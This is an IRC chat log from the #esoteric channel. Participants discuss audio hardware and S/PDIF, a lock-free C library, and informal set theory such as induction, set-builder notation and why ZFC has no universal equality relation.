:fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Also, I could get multichannel sound out from the iBook through that thing. It's just that with only two speakers connected to the amplifier, the benefits of that are a bit theoretical. < 1267969170 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, does the amplifier beat a sb live? < 1267969226 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea about that, but at least it's bound to be reasonably good, as opposed to the sort of random motherboard-integrated stuff I otherwise have. < 1267969239 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I did say that a real sound card might have also helped. < 1267969245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well yes < 1267969255 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I was just trying to compare it to my "real soundcard" < 1267969317 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I am not aware of any benchmarks, really. < 1267969337 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's a harman/kardon AVR-147; the manufacturer is reasonably well-known. < 1267969383 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"A 24-Bit/twin-core Cirrus Logic CS 49510 DSP processor with 32-bit post processor and 192kHz/24-bit D/A conversion", say the marketing hype, but of course you never know. < 1267969422 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And given that it's generally just 16-bit 48/44.1 kHz digital stuff that gets sent over the s/pdif link, I'm not sure how much that matters. < 1267969523 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267969640 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm not even sure if the S/PDIF link supports all that. The standard sample resolution for s/pdif seems to be 20 bits, and 24-bit samples are a bit of a hack. < 1267969824 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267969830 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :only 24 bits? ;P < 1267969883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it should be represented as an accurate physics model of the source using numbers from R or something! < 1267969925 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The owner's manual is silent about whether it supports the s/pdif 24-bit thing, but at least the straight 2-channel PCM digital input "only" goes up to 96 kHz sample rates. < 1267970035 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It does support decoding the 5.1 surround DTS 96/24 format, which technically speaking is 24 bits and 96 kHz, but that involves some compression, I think. < 1267970120 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I am a bit doubtful whether the alsa drivers would know how to stick 96 kHz 24-bit samples out of the pipe anyway, even if it supported that. < 1267970181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fun... http://en.wikipedia.org/wiki/Thread_join redirects to thread, and that doesn't explain what thread join is... < 1267970335 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Quick history-browsing seems to suggest that it didn't explain joins back when the redirect was made, either. < 1267970344 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1267971644 0 :cheater2!unknown@unknown.invalid PRIVMSG #esoteric :bored < 1267971675 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :cheater, watch videos about technological singularity: http://www.youtube.com/user/singist < 1267971766 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"This would be cleaner in C++ with templates." <-- shudder, this is from a README of a library in C < 1267971777 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I can't imagine how it would be cleaner: < 1267971786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"The cleanest way to use these routines is probably to define the stack node type with an initial AO_t link field, so that the conversion between the link-field pointer and the stack element pointer is just a compile-time cast. But other possibilities exist. (This would be cleaner in C++ with templates.)" < 1267971793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is the full paragraph < 1267971817 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh and this is from libatomic_ops, which is bundled with libgc < 1267971938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lockless two-thread concurrent stack seems fun < 1267972162 0 :oklokok!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267972367 0 :ais523!unknown@unknown.invalid NICK :ais523|away < 1267972398 0 :ais523|away!unknown@unknown.invalid NICK :ais523 < 1267972402 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1267972442 0 :alise!~d4b78c20@gateway/web/freenode/x-fvikrqpzjqxmbmxx JOIN :#esoteric < 1267972504 0 :augur!unknown@unknown.invalid QUIT :Quit: Leaving... < 1267972539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so I'm trying to define induction on the naturals set-ly < 1267972542 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think it's < 1267972559 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :define? as an axiom? < 1267972568 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, just formulate < 1267972570 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you could look up set theory if you want the answers < 1267972577 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i know that < 1267972587 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i didn't mean like that < 1267972590 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :do you take back what you said yesterday < 1267972597 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what exactly < 1267972608 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :when I said enjoy your russles paradox then you called me an idiot < 1267972626 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :(other than not being able to spell russell) < 1267972628 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i mean obviously we state it as intersect(P(0), (forall n. intersect(P(n), P(S(n)))) subset-of (forall n. P(n)) < 1267972633 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: no < 1267972646 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, I take back that you're an idiot personally < 1267972649 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but your statement was idiotic < 1267972661 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you can perfectly well have set builder notation without russell popping in < 1267972670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's just sugar... < 1267972685 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you can't have self application of functions though < 1267972694 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :(functions defined in the usual way) < 1267972699 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well forall n. blah is isomorphic to function from n to blah and I have that so < 1267972716 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: yeah i'm gonna have to work out a nice way to combine all this < 1267972769 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you can model lambda calculus in set thoery, that's scott domains and such < 1267972789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, self application as in f(f)? or as in recursion < 1267972838 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :f(f) < 1267972907 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I've no qualm with that. < 1267972918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't see f(f) as intuitively well-founded. < 1267972981 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yeah because if f : A -> B, then you're saying that A -> B = A but that's a source of problems < 1267973000 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Exactly. < 1267973007 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Even id(id) is not neccessarily well-founded. < 1267973013 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that's what I was TRYING to say the other day :P < 1267973033 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So? < 1267973041 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's not Russell's paradox because you don't allow it :P < 1267973044 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1267973053 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And I really don't mind id(id) not being possible to be honest < 1267973070 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I need to do some study today but I'm really fucking lazy < 1267973098 0 :ais523!unknown@unknown.invalid NICK :ais523|away < 1267973101 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :One issue I have is that I don't think !(p&!q) = the regular set of pair sfunction structure < 1267973121 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :!(p&!q) is classically used for p -> q? < 1267973123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's ~(p intersect ~q) < 1267973127 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: yeah < 1267973144 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION never really got why people would do that .. but can't complain because it does work
< 1267973148 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i just think it's a nice identity :P < 1267973166 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i mean it's not like you get many constructivist set theorists so < 1267973280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wait P->Q is actually P superset Q < 1267973281 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not subset < 1267973307 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I reasoned subset because a->b = x elem a -> x elem b = b superset-of a = a subset-of b < 1267973358 0 :ais523|away!unknown@unknown.invalid NICK :ais523 < 1267973395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no longer scarfaic? < 1267973406 0 :hodyna!~hodyna@188.230.46.29 JOIN :#esoteric < 1267973433 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yeah P->Q means P <= Q < 1267973506 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :because false implies everything (ex falso quodlibet) is just saying that bottom is <= anything < 1267973580 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267973593 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :apparently some people write P->Q as P =) Q though < 1267973596 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which is weird < 1267973641 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :set thoery is weird :P < 1267973728 0 :ais523!unknown@unknown.invalid NICK :ais523|away < 1267973748 0 :ais523|away!unknown@unknown.invalid NICK :ais523 < 1267973835 0 :alise_!~d4b78c00@gateway/web/freenode/x-gsbtujyraetomaci JOIN :#esoteric < 1267973842 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :anyway so < 1267973856 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267973888 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think {E : x <- S, y <- S, ...} is the purest form of set building < 1267973915 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but {E : P x, Q x y, ...} is easier to make useful < 1267973921 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the latter sucks though because it depends on logic < 1267973924 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I think of it as syntactic sugar for the axioms < 1267973926 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :whereas logic should be defined with sets < 1267974055 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also I don't think you can define the naturals with just set building which upsets me < 1267974070 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :N = {0} union {{n} union n : n <- N} < 1267974077 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you don't want me to give it away? < 1267974097 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Money? Please do. < 1267974123 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'm rather strange... I know type theory but I don't even know the regular definitions used when implementing mathematics in set theory. < 1267974144 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Martin-Lob roolz, ZFC droolz. < 1267974413 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :S = { (n, {n} union n) | n <- N } < 1267974417 0 :ais523!unknown@unknown.invalid NICK :ais523|away < 1267974421 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :S = { {n, {n, {n} union n}} | n <- N } < 1267974548 0 :ais523|away!unknown@unknown.invalid NICK :ais523 < 1267974594 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I was thinking of having a nice axiom but I've forgotten where it is < 1267974678 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i think induction is the coolest thing ever. srsly < 1267974885 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267974909 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :if you have a type < 1267974920 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :months := January | Feb.... < 1267974924 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :then induction = case analysis < 1267974940 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :if you have N := O | S N, induction is the normal idea, with links to recursion < 1267974947 0 :ais523!unknown@unknown.invalid NICK :ais523|away < 1267974952 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :but then you get things like O := Z | S O | Lim (N -> O) < 1267974957 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it is ubiquitous < 1267974957 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :where you have transfinite induction < 1267974967 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :and beyond that you get inductive-recursive definitions < 1267974977 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :where you simultaneuously define a type and an elimiation on it < 1267974980 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :even just induction on the naturals though, is so cool < 1267975002 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's like we have a base, and a way to ascend... and then suddenly we ascend to infinity < 1267975011 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes, it's a totally trivial concept < 1267975013 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but it's AWESOME < 1267975024 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :trivial?? < 1267975075 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well as in < 1267975088 0 :ais523|away!unknown@unknown.invalid NICK :ais523 < 1267975091 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it's not like supergroupsetgraphtheory's metacalculus < 1267975110 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but it's so general and powerful and simple < 1267975115 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267975285 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :22:16:57 if you are interested in such a job in irc marketing < 1267975286 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Surreal. < 1267975358 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :haha magic negros what < 1267975364 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1267975419 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :my biggest problem right now is getting some notes written < 1267975620 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :grep http://tunes.org/~nef/logs/esoteric/10.03.06 for Khazar and read on < 1267975652 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm i wish logic was a more common foundation for mathematics than set theory, would be... logical? < 1267975695 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :logic as a foundation? < 1267975792 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sure. hasn't this been done, i heard something about "plural quantification" that basically let logic talk about what set theory talks about < 1267975861 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ponders: Basing forall on exists or vice versa?
< 1267975910 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you can implement exists in dependent type theory < 1267975923 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267975941 0 :alise__!~d4b78c00@gateway/web/freenode/x-joxfhuwzawbbndky JOIN :#esoteric < 1267975968 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :forall x. P == ~(exists x. ~P) < 1267975977 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :exists x. P == ~(forall x. ~P) < 1267975980 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1267975982 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :forall x. P == ~(exists x. ~P) < 1267975985 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :exists x. P == ~(forall x. ~P) < 1267975989 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :forall x. P == ~(exists x. ~P) < 1267975991 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :dsfsdf < 1267975993 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :sdfsdf < 1267975996 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :forall x. P == ~(exists x. ~P) < 1267976000 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :exists x. P == ~(forall x. ~P) < 1267976019 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :"For all x, P is true." "There does not exist an x such that P is false." < 1267976045 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :"There exists an X such that P." "Not for all X, P is false." < 1267976057 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that's classical alise < 1267976061 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :So defining forall in terms of exist is intuitively superior because "Not for all ..." reads horribly. < 1267976063 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Yes, it is. < 1267976071 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I'm taking a break from constructivism just to explore. < 1267976095 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :disgusting. < 1267976107 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Like Haskell! < 1267976114 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: I presume you're not being entirely serious < 1267976120 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/vv9OO.png < 1267976122 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267976125 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :haskell is grrrrrrreat < 1267976169 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I don't like haskell because I'm too stupid to program in it < 1267976215 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I write 1/4 of a progarm then get worried about its correctness and give up < 1267976253 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Plural_quantification < 1267976424 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267976518 0 :alise__!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267976573 0 :tombom_!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267976641 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267976642 0 :alise!~d4b78c26@gateway/web/freenode/x-rupxkhulcbsumrrj JOIN :#esoteric < 1267976864 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :eq = {(x,x) | true} is not ok in zfc :( < 1267977182 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if I should represent it as eq = { (S, {(x,x) | x <- S}) | S <- * } < 1267977190 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then eq(N) is { (0,0), (1,1), ... } < 1267977298 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :r2f = { (R, {(x,{(y, xRy) | y <- S}) | x <- S}) | R <- BiRel } < 1267977321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if we take eq to actually mean eq(S) then r2f(eq)(2)(2) = true, r2f(eq)(2)(4) = false < 1267977329 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asuming xRy stands for (x,y) in R, which ... it does < 1267977362 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :of course if we allowed more sugar on top of (x,y) = {{x},{x,y}} we could just say r2f = \(R:BinRel). \(x:S). \(y:S). xRy < 1267977386 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1267977483 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hi ais523 < 1267977493 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1267977580 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: does "eq = { (x,x) | x <- someset }" make you balk? < 1267977590 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :reminds me of Proud < 1267977591 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(the correct answer is no) < 1267977596 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :whereby = i mean := that is < 1267977600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: but does it make you balk? < 1267977610 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267977622 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :good < 1267977624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(ZFC doesn't allow it) < 1267977627 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although that sort of thing probably works better in uncomputable langs < 1267977646 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's not uncomputable at all < 1267977653 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it isn't even infinite if someset isn't infinite < 1267977661 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1267977662 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :take someset := {1,2,3} < 1267977671 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then we get eq = {(1,1), (2,2), (3,3)} < 1267977674 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, I thought someset included all sets, somehow < 1267977685 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah that's inconsistent :) < 1267977696 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: um of course zfc allows { (x,x) | x <- someset } < 1267977706 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well yes < 1267977710 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but not the combined set for all sets < 1267977722 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm i wonder if it allows it if you exclude eq from the results < 1267977770 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1267977772 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(x,y) := {{x},{x,y}} < 1267977773 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\(x:t).y := { (x,y) | x <- t } < 1267977778 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :eq := \(S:Set_0). { (x,x) | x <- S} < 1267977781 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: as in < 1267977797 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :eq := { (x,x) | x <- everything } (except there's no universal set, but) < 1267977812 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :imagine say forall sets s { (x,x) | x <- s }, except you exclude (eq,eq) from it < 1267977871 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no. you cannot have {(x,x) | x is an ordinal} < 1267977880 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :exactly < 1267977883 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but < 1267977895 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there is no set of all ordinals < 1267977924 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but excluding (eq,eq) won't be enough to exclude those < 1267977930 0 :alise_!~d4b78c26@gateway/web/freenode/x-xwjsnetmfivbgjhc JOIN :#esoteric < 1267977937 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what did i miss since my last utterance? < 1267977940 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but excluding (eq,eq) won't be enough to exclude those < 1267977954 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : but excluding (eq,eq) won't be enough to exclude those < 1267977956 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :just one line < 1267977959 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes but < 1267977961 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :we quantify over sets < 1267977963 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and there is no set of all ordinals < 1267977967 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so that problem doesn't exist < 1267977995 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :eq = union-of-forall (x:Set0). { (y,y) | x <- y } < 1267978008 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: the problem is your eq contains enough members that if it were a set, you could use it to _construct_ the set of all ordinals! < 1267978066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : ais523: does "eq = { (x,x) | x <- someset }" make you balk? <-- what do you mean with "<-" here? "element from set"? < 1267978078 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it's syntax from a hypothetical lang, I think < 1267978082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well sure < 1267978083 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: ah < 1267978097 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: paramaterising over the set has no problems though, does it? < 1267978098 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I still wonder what it means in this context < 1267978111 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :obviously if S1 /= S2, then x in S1 /= y in S2 < 1267978118 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: well no, the diagonal of a set is of course a set < 1267978120 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, ^ < 1267978127 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so: < 1267978131 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :eq := \(S:Set_n). { (x,x) | x <- S} < 1267978138 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Set_n meaning "work out the damn levels yourself" here ;-) < 1267978148 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then eq on two different sets is < 1267978156 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :given x in S1 and y in S2 < 1267978168 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267978172 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(S1 eq S2) & (x eq(S1) y) < 1267978176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*shrug* I guess you aren't going to answer it < 1267978181 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: huh what < 1267978189 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well if you account for subsets then < 1267978190 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, " ais523: does "eq = { (x,x) | x <- someset }" make you balk? <-- what do you mean with "<-" here? "element from set"?" < 1267978194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, that < 1267978195 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(S1 subset-of S2) & (x eq(S2) y) < 1267978204 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: set builder notation, look it up < 1267978209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, also (x,x) means what here? tuple construction? < 1267978219 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(x,y) is {{x},{x,y}}. < 1267978235 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, I have not seen <- in set builder notation < 1267978241 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wait then (x,x) is not okay < 1267978244 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well it means in < 1267978245 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so there :P < 1267978250 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(x,x) = {{x},{x,x}} < 1267978255 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, why not the e-ish shape for that? < 1267978271 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and {x,x} is, well, {x} < 1267978271 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or more specifically i'm too lazy < 1267978271 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: windows loathes unicode input < 1267978281 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well, I guess (x,x) = {{x},{x}} is fine actually < 1267978287 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :except wait < 1267978292 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :not really < 1267978298 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :since you can't use the usual definition of second element < 1267978308 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it looks like a strange hybrid between set building (with element) and list/monad comprehensions from haskell. of course for the Set monad, <- means the same as element of in set building. < 1267978323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, yeah I had only seen the ∈ notation for it < 1267978327 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :thus the confusion < 1267978347 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yeah i'm just using more convenient syntax to type out < 1267978350 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :<- reminded me of list comprehensions though < 1267978364 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hey i can define Ethingy as a relation itself :) < 1267978372 0 